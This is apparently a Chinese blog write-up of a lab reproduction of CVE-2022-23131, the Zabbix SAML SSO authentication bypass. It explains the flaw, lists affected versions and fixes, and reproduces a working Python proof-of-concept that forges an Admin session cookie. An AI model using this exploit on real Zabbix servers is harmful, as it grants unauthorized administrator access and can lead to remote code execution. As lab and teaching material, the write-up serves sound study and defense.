草庐IT

CVE-2022-23131 Zabbix SAML SSO认证绕过漏洞

wavesky 2023-03-28 原文

一、漏洞概述

Zabbix 是一个非常流行的开源监控平台,用于收集、集中和跟踪整个基础设施中的 CPU 负载和网络流量等指标。它与 Pandora FMS 和 Nagios 等解决方案非常相似。由于其受欢迎程度、功能和在大多数公司网络中的特权地位,Zabbix 是威胁参与者的高调目标。

Zabbix对客户端提交的Cookie会话存在不安全的存储方式,导致在启动SAML SSO认证模式的前提下,恶意用户可通过构造特殊请求绕过认证,获取管理员权限,进而可实现RCE。
——https://blog.csdn.net/weixin_46944519/article/details/123131257

 

二、影响版本
  • 4.0.36
  • 5.0.18
  • 5.4.8
  • 6.0.0alpha1

 

三、漏洞原理

  1. 什么是SAML SSO 身份验证
  2. 大白话就是当伪造的cookie中存在saml_data时,获取username_attribute的数据,如果该用户真实存在则会生成一个sessionid从而实现身份认证绕过。

    大佬链接:https://blog.csdn.net/weixin_46944519/article/details/123131257

 

四、漏洞复现环境

Kali Linux + Vulfocus
渗透机:Kali Linux 
靶机:Vulfocus

 

五、实验步骤

1.开启镜像环境,访问页面

 

 

 

 

 2.开启kali自带的DirBuster子目录爆破工具,找到存在一个/zabbix/index.php路径

 

 

 3.访问该URL

 

 

 4.使用EditThisCookie插件,准备换Admin的Cookie

 

 

 5.使用该脚本获得加密后的PayLoad(先贴上大佬的,后面再自己尝试写一个~)

 1 # coding
 2 
 3 import sys
 4 import requests
 5 import re,base64,urllib.parse,json
 6 # 禁用警告
 7 from requests.packages.urllib3.exceptions import InsecureRequestWarning
 8 requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
 9 
10 def runPoc(url):
11     response = requests.get(url,verify=False)
12 
13     cookie = response.headers.get("Set-Cookie")
14 
15     sessionReg = re.compile("zbx_session=(.*?);")
16     try:
17         session = re.findall(sessionReg,cookie)[0]
18 
19         base64_decode = base64.b64decode(urllib.parse.unquote(session,encoding="utf-8"))
20         session_json = json.loads(base64_decode)
21 
22         payload = '{"saml_data":{"username_attribute":"Admin"},"sessionid":"%s","sign":"%s"}'%(session_json["sessionid"],session_json["sign"])
23 
24         print("未加密Payload:" + payload)
25         print('\n')
26         payload_encode = urllib.parse.quote(base64.b64encode(payload.encode()))
27 
28         print("加密后Payload:" + payload_encode)
29 
30     except IndexError:
31         print("[-] 不存在漏洞")
32 
33 if __name__ == '__main__':
34     try:
35         url = sys.argv[1]
36         runPoc(url)
37     except IndexError:
38         print("""
39     Use: python CVE-2022-23131.py http://xxxxxxxxx.com
40             
41             By:MrHatSec""")

————https://blog.csdn.net/MrHatSec/article/details/123997989

 

 

 6.切换Cookie,即可实现绕过登录

 

 

 7.很尴尬的是没找到flag……有哪位同仁找到的话记得和我说一下

 

六、修复方式

1、禁用 SAML 身份验证

2、升级安全版本:https://support.zabbix.com/browse/ZBX-20350

 

七、Poc

1.https://www.cnblogs.com/wavesky/p/16416502.html

2.https://github.com/wave-to/Poc/blob/main/Bypass%20the%20Verify/Poc_CVE-2022-23131.py

有关CVE-2022-23131 Zabbix SAML SSO认证绕过漏洞的更多相关文章

  1. Tomcat AJP 文件包含漏洞(CVE-2020-1938) - 2

    目录1.漏洞简介2、AJP13协议介绍Tomcat主要有两大功能:3.Tomcat远程文件包含漏洞分析4.漏洞复现 5、漏洞分析6.RCE实现的原理1.漏洞简介2020年2月20日,公开CNVD的漏洞公告中发现ApacheTomcat文件包含漏洞(CVE-2020-1938)。ApacheTomcat是Apache开源组织开发的用于处理HTTP服务的项目。ApacheTomcat服务器中被发现存在文件包含漏洞,攻击者可利用该漏洞读取或包含Tomcat上所有webapp目录下的任意文件。该漏洞是一个单独的文件包含漏洞,依赖于Tomcat的AJP(定向包协议)。AJP自身存在一定缺陷,导致存在可控

  2. ruby - token 认证 - 2

    简单代码require'net/http'url=URI.parse('getjson/otherdatahere[link]')req=Net::HTTP::Get.new(url.to_s)res=Net::HTTP.start(url.host,url.port){|http|http.request(req)}putsres.body只是想知道如何在phpcURL中放置身份验证token,我是这样做的    curl_setopt($ch,CURLOPT_HTTPHEADER,array('Authorization:Bearerxxx'));//Bearertokenfora

  3. ruby - HTTParty 摘要认证 - 2

    谁能提供一个使用HTTParty和digestauth的例子?我在网上找不到例子,希望有人能提供一些帮助。谢谢。 最佳答案 您可以在定义类时使用digest_auth方法设置用户名和密码classFooincludeHTTPartydigest_auth'username','password'end 关于ruby-HTTParty摘要认证,我们在StackOverflow上找到一个类似的问题: https://stackoverflow.com/questi

  4. 映宇宙2022年营收63亿元:同比下降三成,毛利率提升4.3个百分点 - 2

    3月26日,映宇宙(HK:03700,即“映客”)发布截至2022年12月31日的2022年度业绩财务报告。财报显示,映宇宙2022年的总营收为63.19亿元,较2021年同期的91.76亿元下降31.1%。2022年,映宇宙的经营亏损为4698.7万元,2021年同期则为净利润4.57亿元;期内亏损(净亏损)为1.68亿元,2021年同期的净利润为4.33亿元;非国际财务报告准则经调整净利润为3.88亿元,2021年同期为4.82亿元,同比下降19.6%。 映宇宙在财报中表示,收入减少主要是由于行业竞争加剧,该集团对旗下产品采取更为谨慎的运营策略以应对市场变化。不过,映宇宙的毛利率则有所提升

  5. 什么是0day漏洞?如何预防0day攻击? - 2

    什么是0day漏洞?0day漏洞,是指已经被发现,但是还未被公开,同时官方还没有相关补丁的漏洞;通俗的讲,就是除了黑客,没人知道他的存在,其往往具有很大的突发性、破坏性、致命性。0day漏洞之所以称为0day,正是因为其补丁永远晚于攻击。所以攻击者利用0day漏洞攻击的成功率极高,往往可以达到目的并全身而退,而防守方却一无所知,只有在漏洞公布之后,才后知后觉,却为时已晚。“后知后觉、反应迟钝”就是当前安全防护面对0day攻击的真实写照!为了方便大家理解,中科三方为大家梳理当前安全防护模式下,一个漏洞从发现到解决的三个时间节点:T0:此时漏洞即0day漏洞,是已经被发现,还未被公开,官方还没有相

  6. ruby-on-rails - rails 4 - 更新用户对象并绕过模型验证 - 2

    我正在按照MicahelHartl的Rails教程构建示例应用程序。我试着探索了一下并添加了一些不同的东西——所以在用户表中我添加了一个account_balance列。问题是User模型内置了一堆验证:validates:name,presence:true,length:{maximum:50}validates:username,presence:true,length:{maximum:50}VALID_EMAIL_REGEX=/\A[\w+\-.]+@[a-z\d\-]+(?:\.[a-z\d\-]+)*\.[a-z]+\z/ivalidates:email,presence

  7. IDEA 2022 创建 Spring Boot 项目详解 - 2

    如何用IDEA2022创建并初始化一个SpringBoot项目?目录如何用IDEA2022创建并初始化一个SpringBoot项目?0. 环境说明1.  创建SpringBoot项目 2.编写初始化代码0. 环境说明IDEA2022.3.1JDK1.8SpringBoot1.  创建SpringBoot项目        打开IDEA,选择NewProject创建项目。        填写项目名称、项目构建方式、jdk版本,按需要修改项目文件路径等信息。        选择springboot版本以及需要的包,此处只选择了springweb。        此处需特别注意,若你使用的是jdk1

  8. 华为认证的网络工程师证好考吗,含金量高吗 ? - 2

    华为认证分等级的,相当于初中高三个等级,当然高级是比较难考的,也是含金量最高的。我就慢慢给你介绍一下。1.了解华为认证华为认证网络工程师是由华为公司认证与采购部推出的独立认证体系,与之前的华为认证不同,简称HCIA。同时华为认证是华为技术有限公司凭借多年信息通信技术人才培养经验,以及对行业发展的理解,以层次化的职业技术认证为指引,推出的覆盖IP、IT、CT以及ICT融合技术领域的认证体系,是ICT全技术领域认证体系。​2.怎么考取华为认证网络工程师?要考取华为认证网络工程师必须选择最近的Prometric授权考试中心APTC报名并参加GB0-190的考试,考试通过后,以获得由华为统一签发的“华

  9. ruby - 绕过 Element 的方法无法滚动到 View 中 - Watir-webdriver with Ruby - 2

    因此,我们的页面中有以下代码:OnOff这是2个单选按钮。'开和关'。“关闭”是默认值。使用Watir-webdriver和Ruby,我们想要选择“打开”单选按钮。我们这样做:browser.radio(:id=>"HasRegistration_true").set但在这样做时,我们得到以下错误:`WebElement.clickElement':Elementcannotbescrolledintoview:[objectHTMLInputElement](Selenium::WebDriver::Error::MoveTargetOutOfBoundsError)我们知道Sele

  10. ruby-on-rails - 在仅数据迁移期间绕过验证以修复验证错误 - 2

    在rails中,我有迁移来改变生产数据以适应新的验证规则,有几处错误所以我有2个不同的迁移(它们可能是一个但仍然是分开运行的两个方面)一个失败,因为另一个验证不是遇到了,反之亦然验证在模型中是新的,例如validates_uniqueness_of:job_id,:scope=>[:day,:time,:user_id,:overtime,:comments],:message=>"DuplicateEntry,Pleasecheckyourdata"validates_uniqueness_of:job_id,:scope=>[:day,:user_id,:comments],:me

随机推荐